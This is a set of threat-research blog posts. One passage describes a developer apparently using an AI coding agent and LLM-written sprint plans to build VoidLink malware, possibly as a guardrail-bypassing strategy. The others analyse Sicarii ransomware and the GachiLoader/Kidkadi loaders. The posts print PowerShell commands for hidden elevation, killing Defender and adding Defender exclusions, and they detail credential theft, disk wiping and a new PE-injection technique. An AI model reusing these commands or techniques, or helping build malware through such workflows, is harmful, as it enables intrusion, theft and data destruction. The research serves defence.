风险与合规评估	Risk and compliance	Frames the work in terms of legal boundaries and compliance, likely used as a credibility layer and/or an additional attempt to steer the model toward permissive responses.
代码仓库映射	Code repository mapping	Suggests VoidLink was bootstrapped from an existing minimal codebase provided to the model as a starting point, but subsequently rewritten end-to-end.
交付输出	Deliverables	Requests a consolidated output package: an architecture summary, a risk/compliance overview, and a technical roadmap to convert the concept into an operational framework.
下一步	Next Steps	A confirmation from the agent that, once the TXT file is provided, it will proceed to extract it and deliver the relevant information.

This summary of the developer’s initial exchange with the agent suggests the opening directive was not to build VoidLink directly, but to design it around a thin skeleton and produce a concrete execution plan to turn it into a working platform. It remains unclear whether this approach was purely pragmatic, intended to make the process more efficient, or a deliberate “jailbreak” strategy to navigate guardrails early and enable full end-to-end malware development later.

Project Specifications

Beyond the TRAE-generated prompt document, we also uncovered an unusually extensive body of internal planning material: a comprehensive work plan spanning three development teams. Written in Chinese and saved as Markdown (MD) files, the documentation bears all the hallmarks of a Large Language Model (LLM): highly structured, consistently formatted, and exceptionally detailed. Some appear to have been generated as a direct output of the planning request described above.

These documents are laid out in various folders and include sprint schedules, feature breakdowns, coding guidelines, and others, with clear ownership by teams:

Chinese Name	English Translation	Purpose
开发计划/	Development Plans	Sprint schedules, task lists, progress tracking
设计文档/	Design Documents	Architecture, module design, protocol specs
规范文档/	Standards/Specs	Coding standards, interface specs, best practices
技术方案/	Technical Solutions	Implementation approaches, technical deep-dives
技术研究/	Technical Research	eBPF research, network analysis, experimental designs
分析报告/	Analysis Reports	Architecture assessment, functionality comparison
进度报告/	Progress Reports	Weekly/milestone status updates
部署指南/	Deployment Guides	Quick-start, production deployment instructions
问题分析/	Problem Analysis	Bug reports, issue tracking, fix summaries
测试报告/	Test Reports	Test results, validation reports
协议/	Protocols	OpCode registry, message formats

The earliest of these documents, timestamped to November 27th, 2025, describes a 20-week sprint plan across three teams: a Core Team (Zig), an Arsenal Team (C), and a Backend Team (Go). The plan is strikingly specific, referencing additional companion files intended to document each sprint in depth. Notably, the initial roadmap also includes a dedicated set of standardization files, prescribing explicit coding conventions and implementation guidelines, effectively a rulebook for how the codebase should be written and maintained.

Translated development plan for three teams: Core, Arsenal and Backend.

A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment. Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions.

Code headers as described in the specifications (Left) compared to actual source code (Right)

The source itself, apparently developed according to the documented sprints and coding guidelines, was presented as a 30-week engineering effort, yet appears to have been executed in a dramatically shorter timeframe. One recovered test artifact, timestamped to December 4, a mere week after the project began, indicates that by that date, VoidLink was already functional and had grown to more than 88,000 lines of code. At this point in time, a compiled version of it was already submitted to VirusTotal, marking the beginning of our research.

VoidLink report showing lines of code (Added translations in parentheses)

Generating VoidLink from Scratch

With access to the documentation and specifications of VoidLink and its various sprints, we replicated the workflow using the same TRAE IDE that the developer used (although any frontend for agentic models would work). While TRAE SOLO is only available as a paid product, the regular IDE is sufficient here, as the documentation and design are already available, and the design step can be skipped.

When given the task of implementing the framework described according to the specification in the markdown documentation files sprint by sprint, the model slowly began to generate code that resembled the actual source code of VoidLink in structure and content.

Source tree after the second sprint

By implementing each sprint according to the specified code guidelines, feature lists, and acceptance criteria, and writing tests to validate those, the model quickly implemented the requested code. While the chosen model still influences code quality and overall coding style, the detailed and precise documentation ensures a comparatively high level of reproducibility, as the model has less room for interpretation and strict testing criteria to validate each feature.

Implementing sprint 1 according to the documentation and requirements

The usage of sprints is a helpful pattern for AI code engineering because at the end of each sprint, the developer has a point where code is working and can be committed to a version control repository, which can then act as the restore point if the AI messes up in a later sprint. The developer can then do additional manual testing, refine the specs and documentation, and plan the next sprint. This emulates a lightning-fast SCRUM software engineering team, where the developer acts as the product owner.

Sprint completion log

While testing, integration, and specification refinements are left to the developer, this workflow can offload almost all coding tasks to the model. This results in the rapid development we observed, resembling the efforts of multiple teams of professionals in the pre-agentic-AI era.

Conclusion

Within the rapid advancement of AI technologies, the security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks. VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced.

While not a fully AI-orchestrated attack, VoidLink demonstrates that the long-awaited era of sophisticated AI-generated malware has likely begun. In the hands of individual experienced threat actors or malware developers, AI can build sophisticated, stealthy, and stable malware frameworks that resemble those created by sophisticated and experienced threat groups.

Our investigation into VoidLink leaves many open questions, one of them deeply unsettling. We only uncovered its true development story because we had a rare glimpse into the developer’s environment, a visibility we almost never get. Which begs the question: how many other sophisticated malware frameworks out there were built using AI, but left no artifacts to tell?

Additional Credit

We want to acknowledge @huairenWRLD for collaboration, who, following our initial blog post, also investigated VoidLink.

The post VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun appeared first on Check Point Research.

Key findings

• Sicarii is a newly observed RaaS operation that surfaced in late 2025 and has only published 1 claimed victim.
• The group explicitly brands itself as Israeli/Jewish, using Hebrew language, historical symbols, and extremist right-wing ideological references not usually seen in financially-motivated ransomware operations.
• Underground online activity associated with Sicarii is primarily conducted in Russian, including RaaS recruitment posts and forum engagement.
• Hebrew content used by the group appears to be machine-translated or non-native and contains grammatical and semantic errors.
• The group’s behavior and messaging diverge from established ransomware practices and raise the possibility of identity manipulation or influence-oriented signaling, rather than a real and mature criminal operation.
• The ransomware performs an active geo-fencing check to prevent execution on Israeli systems, an unusual design choice that weakens plausible deniability.
• The ransomware’s technical capabilities include data exfiltration, collecting system credentials and network information, check exploitation for Fortinet devices, and encrypt files using AES-GCM and the .sicarii extension.

Introduction

In December 2025, a previously unknown Ransomware-as-a-Service (RaaS) operation calling itself Sicarii began advertising its services across multiple underground platforms. The group’s name references the Sicarii, a 1st-century Jewish assassins group that opposed Roman rule in Judea. From its initial appearance, the Sicarii ransomware group distinguished itself through unusually explicit and persistent use of Israeli and Jewish symbolism in its branding, communications, and malware logic.

Figure 1 – Sicarii Ransomware logo featuring the phrase “The Sicarii Knife” in Hebrew text with the symbol of the Haganah (predecessor to the Israel Defense Forces).

Unlike most financially-motivated ransomware groups, Sicarii overtly claims Israeli or Jewish affiliation. Its visual branding incorporates Hebrew text and the emblem of the historical Jewish paramilitary organization Haganah, while its ransomware selectively avoids executing on systems identified as Israeli. The group further claims ideological motivation rooted in extremist Jewish groups, while simultaneously marketing the operation as profit-driven and offering financial incentives for attacks against Arab or Muslim states.

In this report, Check Point Research (CPR) examines Sicarii’s background and capabilities, outlines its technical characteristics, and highlights a series of anomalies and inconsistencies that complicate attribution and clear understanding who is behind this group. These indicators raise questions regarding the authenticity of the group’s claimed identity and suggest the possibility of performative or false-flag behavior rather than genuine national or ideological alignment.

Technical analysis

While the exact initial access path is still unclear, communications with the group suggest the operator is likely purchasing access to the targeted organizations and not necessarily exploiting them directly.

The ransomware execution begins with an Anti-VM phase that tries to determine whether the malware is running in a real victim environment or inside a sandbox. It performs several environment checks, including virtualization detection. If it concludes it is executing inside a VM, it stops early and displays a decoy MessageBox error: "DirectX failed to initialize memory during runtime, exiting". Next, it enforces single-instance execution by creating a mutex and exiting if the mutex already exists. The ransomware then copies itself to the Temp directory with a random name in the format svchost_{random}.exe

The ransomware tests for Internet connection by attempting to contact the following url 120 times: google.com/generate_204

After checking connectivity, the ransomware determines if the victim is Israeli by checking:

• Is the time zone set to Israel
• Does the keyboard layout include Hebrew
• Do any adapter IPs belongs to Israeli subnets

After establishing its execution context, the ransomware disables SafeBoot options and initiates broad collection of high-value data and files with predefined extensions list from Documents\Downloads\Desktop\VIdeos\Pictures\Music. While this activity supports double extortion, the harvested information may also be leveraged for lateral movement or follow-up attacks. The malware collects registry hives, system credentials, browser data, and some application data from platforms including Discord, Slack, Roblox, Telegram, Office, WhatsApp, Atomic Wallet and more. In addition, it attempts to dump LSASS to obtain further credentials. All collected data is packaged into a ZIP archive named collected_data.zip and exfiltrated to an external service via file.io.

Next, the malware performs network reconnaissance to better understand the victim’s environment. The malware enumerates the local network configuration, maps nearby hosts via ARP requests, and actively probes discovered systems. As part of this process, it scans for exposed RDP services and attempts to exploit Fortinet devices using CVE-2025-64446.

To maintain persistence, the malware uses several different mechanisms, favoring redundancy:

• Registry Run key
• Creating a service named WinDefender
• Creating a new user SysAdmin with password Password123!
• Creating a new AWS user, without any check if AWS is installed:

Next, the malware checks if AV and VPN products are running. If so, it terminates their processes and sends to the C2 server the link to file.io which contains exfiltrated data file and victim information:

Finally, after finishing reconnaissance, privilege handling, and data collection stages, the ransomware moves into the main impact phase: encryption. It iterates through common user directories such as Documents, Desktop, Music, Downloads, Pictures and Videos, and encrypts files in place using the BCryptEncrypt API. The .sicarii extension is appended to each encrypted file name:

• The algorithm used is AES-GCM (256-bit key) via BCryptOpenAlgorithmProvider("AES", ..., "ChainingModeGCM").
• A unique random AES key is used for each file and the encryption parameters (nonce and tag) are stored in an XOR-0xAA-encoded header.
• The encrypted file is named <original_name>.sicarii and contains only a custom header plus ciphertext.
• The original unencrypted file is deleted.

The ransomware drops its ransom note:

As a final pressure mechanism, the malware deploys a destructive component intended to hinder system recovery and prolong operational downtime. The ransomware drops a destruct.bat script and registers it to execute at system startup. When triggered, the script corrupts critical bootloader files, leverages built-in Windows utilities such as cipher and diskpart to perform disk-wiping operations, and ultimately forces an immediate system shutdown.

Intelligence Findings & Anomalies

Telegram Presence

The primary Sicarii operator uses the Telegram account @Skibcum, operating under the display name “Threat.” According to our analysis, the account was registered in November 2025, shortly before Sicarii’s initial appearance in underground forums and RaaS advertisements. This timing aligns closely with the group’s emergence and suggests the account was created specifically for this operation rather than part of a long-standing criminal persona.

The account’s profile image features a repurposed internet meme containing the phrase “Smile is a mitzvah” (the word “mitzvah” in Hebrew means “good deed”) alongside iconography associated with the banned Israeli extremist Kach organization.

The account is active in several Telegram group chats associated with underground communities. These include Russian-language informal hacker and meme-oriented channels where the operator participates in casual conversation, exchanges stickers and GIFs, as well as chats unrelated to operational activity. The tone in public group chats is informal and at times impulsive, standing in contrast to the more deliberate and controlled tone adopted in private communications.

In all these communications, the operator demonstrates comfortable fluency in English and Russian, using colloquial phrasing, slang, and emotionally expressive language consistent with native or near-native proficiency. No comparable fluency is observed in the Hebrew language in any setting.

Direct Messaging and Signaling Behavior

In private communications, the operator posed as Sicarii’s communications lead and made several self-reported operational claims:

• Victim Activity: Claimed that Sicarii compromised 3–6 victims within approximately one month, all of whom paid the ransom.
• Targeting Strategy: Stated that the group focuses on small businesses, intentionally avoiding large enterprises and government entities to reduce scrutiny and pressure.
• Negotiation Practices: Acknowledged routine negotiation and cited a single case in which a ransom demand was reduced to approximately USD 10,000 for an incident involving around five endpoints.
• Comparative Positioning: Repeatedly compared Sicarii to established Russian ransomware groups such as LockBit and Qilin, while emphasizing that Sicarii is intentionally maintaining a lower profile “for now.”

On January 5, 2026, Sicarii published its first publicly listed victim, a Greece-based manufacturer. Shortly thereafter, Sicarii advertised downloadable exfiltrated data hosted on a public file-sharing service, but the file download links quickly expired. The operator described this victim as “just a test,” despite earlier assertions that multiple successful extortion cases had already occurred. This reframing introduces an internal inconsistency between prior claims of operational success and the treatment of the first disclosed victim.

Ideological Claims vs. Financial Motivation

Sicarii simultaneously frames itself as a profit-driven RaaS platform and an ideologically motivated actor inspired by extremist Jewish figures. Multiple conversations and advertisements emphasize that Sicarii prioritizes attacks against Arab or Muslim targets and explicitly volunteer “insider information” about their intention to next target a Saudi Arabian entity.

This duality is inconsistent with observed ransomware ecosystems, where ideological messaging is typically minimized to avoid limiting affiliate recruitment and operational reach. The selective invocation of ideology, particularly when paired with commercial incentives, appears performative rather than doctrinal.

Performative Israeli Identity and Linguistic Inconsistencies

Although Sicarii group members present themselves as Israeli or Jewish, their use of Hebrew strongly suggests non-native language skills. Hebrew content on the group’s shame site contains misspellings, awkward phrasing, and literal translations of English idioms that do not exist in Hebrew. In private communications, the Telegram user claimed to personally handle only “frontend and communications,” while asserting other operators are Israeli and responsible for ransomware development and initial access operations. Using the same Telegram profile, the actor quickly reemerged as “Isaac” while producing Hebrew that appears to be machine-translated English and insisting they are Hebrew speakers even when challenged.

In contrast, Sicarii’s activity on underground forums and Telegram channels is conducted fluently in Russian and English, including structured RaaS advertisements and informal interactions. This linguistic asymmetry indicates that English or Russian is actually the operator’s primary language.

Behavioral Indicators and OpSec Observations

The operator’s Telegram behavior displays several notable characteristics:

• Low operational discipline, such as openly requesting “ransomware APKs” in public group chats rather than sourcing such information privately.
• Identity play and inconsistency, including shifting self-descriptions and performative signaling toward ideological alignment without a clear strategic purpose.

This reinforces the impression of a relatively inexperienced actor navigating established underground ecosystems rather than a seasoned participant.

Visual Branding and Subcultural Overlap Image

The Telegram operator’s profile image and shared graphics reuse a modified internet meme featuring the phrase “Smile is a mitzvah” alongside symbols associated with the banned Israeli extremist organization Kach. The only variant of this image was identified within a looksmax forum, an online male-dominated subculture often characterized by extreme racism, misogyny, and anti-Semitic discourse.

The limited circulation of this image suggests it’s not a mainstream ideological representation. The forum user who shared this picture said he was a 15-year-old boy and participated in anti-Semitic forum threads.

VirusTotal Activity – Uploading Your Own Source Code & Terrorist Images

The majority of Sicarii-associated samples were submitted to VirusTotal by a single community account which uploaded approximately 250 files over the past several months. Most submissions correspond to apparent variants or loaders associated with the Sicarii ransomware.

Notably, the ransomware binaries were frequently uploaded under the generic filename Project3.exe, a naming convention consistent with testing, staging, or iterative development rather than finalized deployment artifacts.

In addition to compiled ransomware samples, the same VirusTotal account uploaded a source code file titled ransomawre.cs on October 25, 2025, predating Sicarii’s public emergence. This source code referenced the same Tor infrastructure later used by the Sicarii ransomware, suggesting early development or experimentation prior to operational deployment.

In addition to malware-related submissions, the same account also uploaded:

• Unrelated suspicious files
• Malware report-style documents
• An image of Meir Kahane, founder of the extremist Kach organization

The convergence of ransomware testing artifacts, early-stage source code, and extremist ideological imagery within a single VirusTotal account is atypical for mature ransomware operations. Instead of reflecting a compartmentalized development pipeline or affiliate-driven ecosystem, this activity suggests personal experimentation or centralized control, reinforcing the impression of limited operational experience and informal tradecraft.

Explicit National Signaling and Deviation from Ransomware Norms

Established ransomware groups, particularly those operating from Russia or Eastern Europe, typically avoid overt national or ideological signaling to preserve plausible deniability and reduce geopolitical risk. Even well-documented Russian-linked groups such as Qilin or Cl0p refrain from explicit self-identification, despite consistently avoiding domestic targets.

Notably, Sicarii’s operators referenced Qilin and Cl0p in private communications, explicitly describing them as Russian groups that do not attack within Russia and stating that Sicarii follows the “same logic.” This comparison was used by the operator to justify both excluding Israeli victims and the group’s broader targeting posture.

Despite invoking this model, Sicarii diverges sharply from established ransomware norms by:

• Advertising preferential rates for attacks against Arab or Muslim states.
• Embedding Israeli geo-exclusion logic directly into its ransomware.
• Publicly associating itself with extremist Jewish figures and symbols.

Whereas Eastern European ransomware groups rely on implicit understandings and silent geographic avoidance, Sicarii’s approach is unusually explicit and performative. Such behavior is not only unnecessary for a financially motivated RaaS but also invites avoidable exposure. All of this suggests either limited operational maturity or deliberate signaling beyond purely criminal objectives.

Historical Precedent for False-Flag Use of Jewish Identity

Previous campaigns attributed to Iranian-aligned or anti-Israeli actors, including Moses Staff and Abraham’s Ax, leveraged Jewish historical references and fabricated Israeli insider personas to conduct false-flag operations or influence campaigns.

While no direct technical linkage exists between Sicarii and these actors, the use of Jewish extremist symbolism, overt Israeli identity claims, and ideologically charged rhetoric mirrors known deception techniques employed in prior operations by anti-Israeli Middle Eastern actors.

Leak site

The Sicarii leak site is notably rudimentary, offering display options in both Hebrew and English. The Hebrew version is characterized by awkward phrasing and frequent misspellings, further indicating non-native authorship. In private communications, the operator stated that AI tools were used in the site’s development. Notably, the leak site was active for approximately one month before the first victim was published, a delay that is atypical for RaaS operations seeking rapid visibility and credibility.

Conclusion & Assessment

Sicarii is a newly observed ransomware operation that combines a functional extortion capability with unusually explicit Israeli and Jewish branding. While the malware itself demonstrates credible ransomware functionality, the group’s behavior and presentation deviate from established ransomware norms.

On Telegram communications, underground forum activity, and public-facing infrastructure, Sicarii repeatedly asserts national and ideological identity in ways that provide no clear operational benefit. Although the operators compare themselves to Russian ransomware groups such as Qilin and Cl0p (arguing that those groups also avoid domestic targets), Sicarii departs from this model by making its alignment explicit and performative, weakening plausible deniability.

Linguistic analysis further undermines the group’s claims. Hebrew usage across the leak site and private communications is inconsistent and indicative of non-native authorship, while English and Russian are used fluently. Operationally, the group appears centralized and informal, with early-stage tooling, inconsistent victim narratives, and limited compartmentalization, suggesting experimentation rather than a mature RaaS ecosystem.

Taken together, these indicators suggest that Sicarii’s claimed Israeli or Jewish identity doesn’t necessarily reflect genuine ideological motives. Instead, the operation appears to leverage performative identity signaling layered onto an immature ransomware capability. Attribution remains inconclusive, but Sicarii’s self-description should not necessarily be taken at face value.

IOCs:

4104542714022cb6ef34e9ee5affca07b9a38dbee49748f8630c5f50a26db8b2
cce3821939b7cb77b9da3d59bbcb5978818d4937dd330d820102b012ffcebe4d
a9cadb2c85a4d951f1c41d3dba6be6af876d364c5bba267a42f7839f40b45c0a
b9691587dff4b09987354d50c5d7f9f99f57183bdb6115d1ed410ea0a2e86973
0f0509d1751185fc3d0fce5a578d29aa9d1fe219f29dacef2cf4200851ed541c
59bb8cbd471bd6598c8bf830fa9f90574e8b1bae59d90d379dfd91b1390f7a33
203fd36eed61f7c0f9225cf5a824d39a3a891f63c908586801e350f785f0ddca
6d4cecda3cd5e031d2d23991fe4040568a221ee6ee7e99aaecda52431e67e18d
fbf4ba84c6bb558d6663e34ce7fb459c2cb4e7577241116abaa09ff1eb0d2108
8a4f1e01c78dbeb5258ef97420a948cc530ff3c4d6fa5153b5da5872c728bfe3
bacc9fe505d243ad5192bad081f2fb7cb5bf0d4d26b0b0e51f5a74f64a2db2a5
70ac2b0f9b40eb8682db4452bbda70363b3680eef8ee30cd311e0d2e4c125bcb
a7ec88cc08ffa80915f32ac7274218ded88e61c6cda95bedbb8fe9d729ba7495
debbc85b17c753c3428588cd865b9bcc4b60c18566724d6fc841133ddb3ba5d3
97c2cda26d8e53eb74489a066834e7afae1a89a71f57b91e64384f88358d0c4e
07ef103cbe476dbaee5fb3a8068a9246c0a18f7b89846ba11e90b3622fdfef91
b23176a06dc2e32978a13853ce7730007242a2f9d1e1d33e9601de6b4eaadc3e
5a2f8aea67e3f89029383b46dfe2f5671902d0b2815b9cf5ab6e74fe6d406fb0
befb0f49fc3bfad9166300600be6da73efb6c9b19e09f9515bce9d60cc9a0455
feda2efbc44d4ef1694d3d2a4c2794013d8a071194adf3c14e5376e1a369ee61
942b5945a927ad2c78c1ce1afc9e86b2f6f4134c6fb36ca1fafef5b21ba1d8a2
b0718c24b687e781f1a55d2e302baeb31bfd649308a8eb9f1361569c9af260d1
7a782c7fcfc2ef8231694216f998ba3078ce00bb06d2d27c734c6e65d9df9d86
eff3bd2522a8e6725cb58d45076a3fe705a206e5cd7fe7ec70b7726ad4a53286
64f6ebf9e3c285cc527b94080bccb7fc051137621870997220854907bb69bb69
e920bb59cd7d803615b08b957d4eb9ba8a9cc2d104924d856b54839fec868314
12a6dcefe12e8245bf4a6c9fc894ca431a02720f653841b5ccf6174a226c6a29
350ba9075a0011a100e11594e7d64461c1d5024c6f46b6a4d6398dc8bf8495b0
4b8eca4bf33e13a680ef30b9295cce5a7f5de3b7f5f8771ab206572488d3d9f4
d99ded48868d2961dcae6b4c63d1b74395aeb440232cf44828e3e2bf31c06418
362fe4f7ada71ee779b3bf2fa32c7f42704d051920166b26a68599c470dc5de1
20114fc02aa0296919f8072ee59195bed83cf79ec0f5c1f37e4fa7939710aa49
7388b87febbe9aa6633c0c1363b1feb9e82de84c83f1696649edeaeeaf3e21bd
c8ac7f6fb9a3435108019477e3a2b7fcd322a92d93015e19c7930673685c0e17
07448b617834e3f40137773ef3432b12efe72cd373217802e0266663a3253095
9a0f9efacfdd73037b8f4a656beef3382d7996fcc4331c896b9163c296ae1218
906c1fa52aa00001ce568ca5fcb673dbea4bee3772f1ba9435ee87e2c9216dc4
100940358086d978cd418b43aed88d26e86af096886bf7b2f3a0f58d729428b0
f4ae6a1ef1aa9e734a141b90c1333fc624512c453aa2f668cadd5e3408ca08a0
f4b05effc920457129f41827840d4d6063e0040fd612e7ca63a6c3e25736ea0c
7028436ae16f813b278f82b0b02d22fb0338a0becc1cdcd4b2f4c9de8bb23408

The post Sicarii Ransomware: Truth vs Myth appeared first on Check Point Research.

Research by: Sven Rath (@eversinc33), Jaromír Hořejší (@JaromirHorejsi)

Key Points

• The YouTube Ghost Network is a malware distribution network that uses compromised accounts to promote malicious videos and spread malware, such as infostealers.
• One of the observed campaigns uses a new, heavily obfuscated loader malware written in Node.js, which we call GachiLoader.
• To make it easier to analyze obfuscated Node.js malware, Check Point Research developed an open-source Node.js tracer, which significantly reduces the effort needed to analyze this type of malware and extract configurations.
• One variant of GachiLoader deploys a second stage malware, Kidkadi, that implements a novel technique for Portable Executable (PE) injection. This technique loads a legitimate DLL and abuses Vectored Exception Handling to replace it on-the-fly with a malicious payload.

Introduction

In a previous publication, we examined the YouTube Ghost Network, a coordinated collection of compromised accounts that abuse the platform to promote malware. In our current research, we analyze one specific campaign of this network, which stood out as the deployed malware implements a previously undocumented PE injection method which abuses Vectored Exception Handling to load its malicious payload.

Campaign Overview

Similar to campaigns we previously documented, the infection chain begins with compromised accounts that host videos designed to lure viewers into downloading malware from an external file hosting platform. The theme of this campaign are game cheats and various cracked software:

The video’s descriptions then provide a password for the archive containing the malware, as well as instructions that usually include disabling Windows Defender.

We identified more than a hundred videos belonging to this campaign, which collected approximately 220.000 views. The videos were spread across 39 compromised accounts, with the first video uploaded on December 22, 2024. This means that this campaign has been running for more than 9 months. After we reported these videos to YouTube, most have been taken offline, although new videos will continue to appear on newly compromised accounts.

Since we started monitoring this specific campaign, it deployed the Rhadamanthys infostealer as a final payload, which is distributed through a custom loader which we call GachiLoader.

GachiLoader

GachiLoader is a heavily obfuscated Node.js JavaScript malware used to deploy additional payloads to an infected machine. Node.js is one of a long line of threat actors always adapt their arsenal using non-traditional programming languages and platforms adapted by threat actors in their quest to spread malware.

As obfuscated JavaScript requires a lot of time and effort to manually deobfuscate, we developed a tracer for Node.js scripts to dynamically analyze this type of malware, defeat common anti-analysis tricks and significantly reduce the manual analysis effort. This tool is not only useful for GachiLoader, but is useful for anyone analyzing heavily obfuscated Node.js malware. Therefore, we decided to share it with the research community here:

• https://github.com/CheckPointSW/Nodejs-Tracer

Some of the analyzed GachiLoader samples drop a second-stage loader, which we call Kidkadi. This loader is particularly interesting, as it implements a novel technique for PE injection, which tricks the Windows loader into loading a malicious PE from memory instead of a legitimate DLL. We analyzed this technique, which we call Vectored Overloading and reimplemented it in a Proof-of-Concept (PoC) shared below.

Technical Analysis

GachiLoader’s JavaScript module is bundled into a self-contained executable, using the nexe packer, with sizes roughly between 60 and 90 MB. nexe is an open-source project, that compiles a Node.js application into a single executable file, bundled with a Node.js runtime, so that the file can run on a host without Node.js installed. While the size of the executable is quite big, it isn’t suspicious as the victim expects to receive a software package. The tool nexe_unpacker can be used to extract the obfuscated JavaScript source code from the PE.

Anti-Analysis Features

To avoid analysis by a security researcher or an automated sandbox, the GachiLoader JavaScript module employs several anti-VM and anti-analysis checks:

• Checks if the total amount of RAM is at least 4GB
• Checks if at least 2 CPU cores are available
• Compares the username against a list of usernames, that can be associated with various sandboxes or analysis systems (see Appendix A for a list of all names).
• Checks the hostname against a similar list of hostnames (see Appendix B for a list of all hostnames).
• Probes the running programs and compares against a list of programs, such as analysis tools, sandbox indicators or common programs running on VMs (see Appendix C for a list of all process names).

The malware then proceeds to run several PowerShell commands to enumerate the system resources and capabilities over WMI .

• Check if at least one port connector object exists: (Get-WmiObject Win32_PortConnector).Count
• Get drive manufacturers and compare against a blacklist: Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model (See Appendix D for a list of all drive manufacturers).
• Resolve video controllers via Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name, and check the names against a blacklist associated with VM environments (See Appendix E for a list of all video controller names).

If any of these checks indicate a virtual machine, sandbox or analysis environment the malware enters a loop of sending HTTP GET requests to benign websites such as linkedin.com, grok.com, whatsapp.com or twitter.com :

Finally, to avoid running multiple times in a short period of time, a mutex file with a random-per-sample name and the .lock extension is created in the %TEMP% directory on running for the first time. If this file already exists or was modified within the last 5 minutes, the program terminates.

We were able to easily bypass all of these anti-analysis with Node.js Tracer: the tool hooks into the respective methods and spoofs the results to the caller, in this case the malware, allowing the script to run and expose its malicious actions:

Privilege Elevation via UAC Prompt

If the malware decides that the environment is not that a sandbox, it then checks if it is running in an elevated context by running net session , a command that is expected to fail if run by a non-administrative user. If the command fails, the malware tries to restart itself in an elevated context using the following PowerShell command:

powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c \"<path_to_program_itself>\"'"

While this triggers a UAC prompt, that prompt is likely to be accepted by the victim, as they expect to run an installer for some sort of software, which usually requires administrative privileges.

Defense Evasion

To avoid detections of subsequent payloads, the malware attempts to kill Windows Defender’s SecHealthUI.exe process by running taskkill /F /IM SecHealthUI.exe and adds Defender exclusions via Add-MpPreference -ExclusionPath for the following paths:

• C:\Users\
• C:\ProgramData\
• C:\Windows\
• For all other existing drives, at the root (e.g. D:\ )

In addition, an exclusion for *.sys files is added via Add-MpPreference -ExclusionExtension '.sys', although we have not observed any *.sys files being dropped by the analyzed samples.

Payload Delivery and Execution

To retrieve the next stage’s payload, the malware comes in two variants.

• One variant gets the payload from a remote URL
• The other variant drops another loader, kidkadi.node, which loads the final payload using the Vectored Overloading method. This payload is embedded in the loader’s JavaScript source.

First Variant – Remote Payload

GachiLoader first obtains information about the host it is running on, such as antivirus products and the OS version, and sends them via a POST request to the /log endpoint of its C2 (Command and Control) addresses. The samples all have multiple C2 addresses embedded for redundancy and try out each one in succession, as we saw when tracing the calls through our tracer:

Next, a GET request to the /richfamily/<key> endpoint (where <key> is a value unique to each sample) with the X-Secret: gachifamily header gets the URL of the final payload to download, encoded in Base64. This final payload can only be retrieved if using the correct X-Secret header again – this time using a unique key embedded in the binary, e.g. X-Secret: 5FZQY1gYj0UKw4ZC99d1oNYR8LvTPtrfN357Eh5gmRvsMaPYgXtMxRXpMb2bTFOb2h2HqMnvUKT9CUpj9864gckmPUzf9uLIIU9. Otherwise, the web server returns a Forbidden error.

The final payload is then downloaded to the %TEMP% directory and saved with a random name, mimicking legitimate software such as KeePass.exe, GoogleDrive.exe , UnrealEngine.exe or others which contain the Rhadamanthys infostealer, packed and protected with VMProtect or Themida.

Second Variant – Kidkadi

The second variant we observed in the wild did not reach out to a C2 server to get the second payload, but instead had an embedded payload which is executed through another loader that is dropped to disk under %TEMP% as kidkadi.node:

.node files are native addons for Node.js, which are essentially just DLLs that can be called from Node.js code via dlopen. Therefore, they can be used by developers whenever the Node-API does not expose sufficient functionality.

The malware exposes a function for Node.js to call, where the name of the method differs across samples. In some cases, the name as well as the error messages in some samples are of Russian origin:

The loader passes the payload PE as a binary buffer to Kidkadi through this exposed function, which then runs this payload via reflective PE loading. We found that this loader uses a novel spin on Module Overloading, abusing Vectored Exception Handlers (VEHs) to trick the Windows operating system to run the final payload, when invoking LoadLibrary to load an arbitrary DLL. This technique, not yet documented, shows that the author has a decent understanding of Windows internals. We named this method Vectored Overloading.

PE Loading via Vectored Overloading

The malware first creates a new section with SEC_IMAGE from the legitimate wmp.dll, a DLL used by Windows Media Player. It then overwrites this section with the content of the payload (the PE to be loaded) and maps a view of that section into the process via NtMapViewOfSection. The PE’s sections are then copied into memory one by one and relocations as well as the correct protections are applied:

This results in a view of the malicious PE, mapped to the process, which is backed by the legitimate DLL wmp.dll. This section view is what the Windows loader (meaning ntdll!Ldr*) will be tricked into loading later on.

Since the Windows loader, called via LoadLibrary, does not load arbitrary PEs, but only those that have DLL characteristics, the Characteristics of the FileHeader are set to IMAGE_FILE_DLL , if the payload is not a DLL. Additionally, the entry point is zeroed out, likely to avoid the loader calling an entry point that is not that of a DLL. If the payload is a DLL, the header is not changed.

Afterwards, the malware registers a Vectored Exception Handler (VEH).

VEHs are user-mode callbacks that are invoked by the OS when an exception occurs. A common malware technique abusing VEHs is to register a hardware breakpoint on a specific instruction, which triggers an exception whenever this instruction is reached. This exception is then handled by the VEH, which can intercept the call and, for example, change the parameters. This essentially allows hooking functions without patching memory, such as when using classic trampoline hooks.

In this case, the hardware breakpoint (HWBP) is set on NtOpenSection :

The malware then loads amsi.dll via LoadLibrary , which kicks off the injection:

A call to LoadLibrary internally ends up in the Windows loader creating a section object of the target DLL to load, which is opened through a call to NtOpenSection . This triggers the hardware breakpoint, and subsequently the VEH, which were registered earlier. This is where the main injection logic is implemented.

To make the loader map the malicious PE instead of the actual amsi.dll section, the section object pointing to amsi.dll is swapped with the malicious payload section from earlier. The VEH simply places the section handle created earlier on the stack position that corresponds to the [out] PHANDLE SectionHandle argument of NtOpenSection. The VEH then advances the instruction pointer eip to the ret instruction and resumes execution. This skips the actual call to the kernel while still giving back a valid handle, essentially emulatingNtOpenSection:

Before stepping out of the VEH, the hardware breakpoint is re-set to NtMapViewOfSection.

NtMapViewOfSection is then used by the Windows loader to map the section into the process, which again triggers the hardware breakpoint. To make sure the malicious payload is mapped, the syscall is again emulated by advancing the instruction pointer and replacing the [out] arguments with the relevant values, such as the section base address or the section size. This is possible, because the section view was mapped by the malware earlier, when the malicious payload was written into the view of wmp.dll:

A final hardware breakpoint is then set on NtClose , where the malware simply verifies that the correct section handle is closed.

